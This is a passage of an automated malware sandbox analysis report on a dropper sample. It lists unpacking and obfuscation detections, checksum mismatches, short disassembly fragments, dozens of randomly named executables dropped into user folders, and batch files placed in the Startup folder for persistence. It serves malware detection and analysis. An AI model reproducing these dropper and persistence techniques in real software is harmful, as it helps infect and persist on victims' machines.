MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp

Data Obfuscation

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Unpacked PE file: 15.2.syncUpd.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Unpacked PE file: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Unpacked PE file: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Unpacked PE file: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Unpacked PE file: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Unpacked PE file: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Unpacked PE file: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Unpacked PE file: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Unpacked PE file: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Unpacked PE file: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Unpacked PE file: 15.2.syncUpd.exe.400000.0.unpack
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Unpacked PE file: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Unpacked PE file: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Unpacked PE file: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Unpacked PE file: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Unpacked PE file: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Unpacked PE file: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Unpacked PE file: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Unpacked PE file: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Unpacked PE file: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack

Source: dl7WL77rkA.exe

Static PE information: 0xC398581B [Tue Dec 26 19:12:27 2073 UTC]

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe

Code function: 12_2_0040AF7C LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer,

12_2_0040AF7C

Source: MK1r6sTJJ0KuvAGWdjimbW8H.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: Tll62OaP8oVLTcLcTrzOXqGl.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: gIvDEh2BZp9B1K9gi8nXHxAG.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: sUyDoVTGsfEnMY0oeyexTBut.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: yq7sRYx0zxf2nUHNI8myIvQb.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: pxzTG78L668f3mDyeDkHXryr.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: 3BiVM2uOsvGVXA1BoDorVuCU.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: yzAPe25HGnxqbkafYprXvqQ2.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: buQDl25QOPcDefNxAl6eKA66.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: kCfcZTexs2vlrkxr2iahpjn0.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: heli0xf9eUcd5qaTU2WhBrox.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: pdCLEldSyO5Ik39YE4kJVbXN.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: cUZyyg5Iay7EkA1LG3XxNCAW.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: BroomSetup.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x1c6750
Source: H7TIhgIvG1Yhal1QnwrEdA0q.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: FXJXJcvxtZRFvWakkN6k83di.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: XbJnQ7YPZT43Q5vvoXLuAoSq.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: YHw4f8SZUCkdAWRXPfF1qOas.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: YfSmDepXBWKsGmamEEWNYwB5.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: INetC.dll.13.dr	Static PE information: real checksum: 0x0 should be: 0xb6cc
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: nPQO8Z9byTKoW0YecEtJrQN4.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: BitVM4h79HXjwHpz9WBgoxJI.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: PM6qM9TthMxsL1RAWEhuUNLx.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: IiRP3mWif0xpaQsabblBwYAE.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: SNePs0JIjHDOAKzI11CQ043K.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: kDgMkoNM3lKxwY8D8wOiP15F.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: BTnjKpTBDzKtQo69b5SrwYDx.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: Jye7PnMsJdWwQaaabqxbHITx.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: IpW6W2Yjx6z6D3j66j3N2tH5.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: 4xb6JU3I8UdzuT7ogqFnBL7Y.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: LP2uR8v5nKtflOO7HsEX74Am.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x41eaf6
Source: UbeikbXa4CwwIN3M94pDVFss.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14
Source: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.5.dr	Static PE information: real checksum: 0x4209a3 should be: 0x423035
Source: RC2DCMOzLtOY3PfjMU0omeEi.exe.5.dr	Static PE information: real checksum: 0x1eaa5 should be: 0x1d4c14

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004074E9 push ebp; ret	12_2_004074EA
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00405DD9 push ecx; ret	12_2_00405DEC
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_004073E7 push 33000001h; retf	12_2_004073EC
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00402E4B push ebx; mov dword ptr [esp], 00413040h	13_2_00402EF6
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00401860 push eax; mov dword ptr [esp], ebx	13_2_0040192D
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00402613 push ecx; mov dword ptr [esp], ebx	13_2_00402634
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_0040183B push ecx; mov dword ptr [esp], eax	13_2_0040184E
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004060FD push eax; mov dword ptr [esp], ebx	13_2_004062A3
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004060FD push ebx; mov dword ptr [esp], 00434400h	13_2_004062BE
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004060FD push eax; mov dword ptr [esp], 0040B410h	13_2_00406446
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004060FD push esi; mov dword ptr [esp], 00000001h	13_2_00406505
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004042BC push eax; mov dword ptr [esp], 00435400h	13_2_004042CF
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004042BC push eax; mov dword ptr [esp], 00435400h	13_2_004042F1
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_0040815B push ebx; mov dword ptr [esp], 0042AF40h	13_2_00408178
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_0040815B push eax; mov dword ptr [esp], 0042AF40h	13_2_004081F0
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push ecx; mov dword ptr [esp], ebx	13_2_004043C9
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push ebx; mov dword ptr [esp], 0000000Bh	13_2_004043E6
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push eax; mov dword ptr [esp], 00000000h	13_2_00404471
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push edx; mov dword ptr [esp], eax	13_2_004044AE
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push eax; mov dword ptr [esp], ebx	13_2_00404590
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push eax; mov dword ptr [esp], 00435400h	13_2_004046E6
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push ecx; mov dword ptr [esp], 00427D20h	13_2_0040475B
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push eax; mov dword ptr [esp], 00427D20h	13_2_004047C0
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00404375 push ebx; mov dword ptr [esp], 00000002h	13_2_00404838
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00401B06 push edx; mov dword ptr [esp], eax	13_2_00401B53
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00401B06 push edi; mov dword ptr [esp], 00412840h	13_2_00401B6A
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_00401DB0 push edi; mov dword ptr [esp], eax	13_2_00401E18
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 push eax; mov dword ptr [esp], ebx	13_2_00408671
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 push eax; mov dword ptr [esp], ebx	13_2_0040873D
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 push eax; mov dword ptr [esp], ebx	13_2_00408763
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Code function: 13_2_004085B8 push ecx; mov dword ptr [esp], ebx	13_2_004087E3

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\nPQO8Z9byTKoW0YecEtJrQN4.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\kCfcZTexs2vlrkxr2iahpjn0.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\cUZyyg5Iay7EkA1LG3XxNCAW.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\H7TIhgIvG1Yhal1QnwrEdA0q.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe	Jump to dropped file
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	File created: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Tll62OaP8oVLTcLcTrzOXqGl.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\IiRP3mWif0xpaQsabblBwYAE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\YHw4f8SZUCkdAWRXPfF1qOas.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\UbeikbXa4CwwIN3M94pDVFss.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\heli0xf9eUcd5qaTU2WhBrox.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\buQDl25QOPcDefNxAl6eKA66.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\XbJnQ7YPZT43Q5vvoXLuAoSq.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\SNePs0JIjHDOAKzI11CQ043K.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\pdCLEldSyO5Ik39YE4kJVbXN.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe	Jump to dropped file
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	File created: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\Jye7PnMsJdWwQaaabqxbHITx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\IpW6W2Yjx6z6D3j66j3N2tH5.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\FXJXJcvxtZRFvWakkN6k83di.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\bAqeOotivBzC3mPFFhCilCro.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\4xb6JU3I8UdzuT7ogqFnBL7Y.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe	Jump to dropped file
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	File created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Local\wHBfjqvEYiXClqcsZASJdtJJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe	Jump to dropped file
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	File created: C:\Users\user\AppData\Local\Temp\nsh1C9B.tmp\INetC.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Jump to dropped file

Boot Survival

Drops script or batch files to the startup folder

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CtKTLlY2LhR3aGX0PpowiHev.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\asxkwIl5OZIGfxZm6YYVmkyp.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cizDnjn04HXlR48gG87ono06.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5MU2eoXrXWjMqtCDgcUdxEXh.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cXcTyLUx7TcAqwa1PaqAe42l.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bKbfQedsHp5fPnIwSbgAXTGS.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mIfCnFQFL1iakCTbZHUvqqRQ.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FYS7ZbtfMHg45nrX4x6uzB9u.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RhOTMLiWYdQ5cM559FjqYdxz.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NWqXzpae1NGiof3fGaSCKwbn.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cPDXi3YsHb2JKplcNt2ulL4v.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\11FhgNaI9OC9CIBuozAEgUpl.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\F4MKwilBLbDn1AvI4NJYim3J.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cgfjpHdWrKt7RBbVJLVt3KrQ.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Qeq8y82NFzxmb0C1zqsQ9GIJ.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PSzSTrBAfql6s2xHwMaulb6g.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RVMSz0xyVTk828VJXeNNyJ5X.bat	Jump to dropped file
